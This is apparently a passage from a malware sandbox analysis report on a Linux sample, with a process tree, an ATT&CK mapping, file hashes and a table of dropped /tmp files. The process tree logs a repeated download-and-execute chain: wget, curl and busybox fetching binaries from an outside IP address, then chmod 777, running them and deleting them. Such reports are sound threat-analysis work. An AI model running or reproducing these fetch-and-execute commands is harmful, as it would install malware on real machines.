- /bin/chmod
  chmod 777 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  ./0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:960
- /bin/chmod
  chmod 777 rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  ./rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:966
- /bin/chmod
  chmod 777 sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  ./sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:972
- /bin/chmod
  chmod 777 zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  ./zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:975

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0

Path /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	732	ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	740	AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	746	RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	762	0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	795	rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	812	EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	818	sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	840	zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	860	n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	866	edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	872	17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	878	OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	884	iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	890	k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	896	n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	902	edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	908	17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	914	OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	920	iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	926	k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	932	EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	938	ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	944	AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	950	RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	956	0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	962	rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	968	sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	974	zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj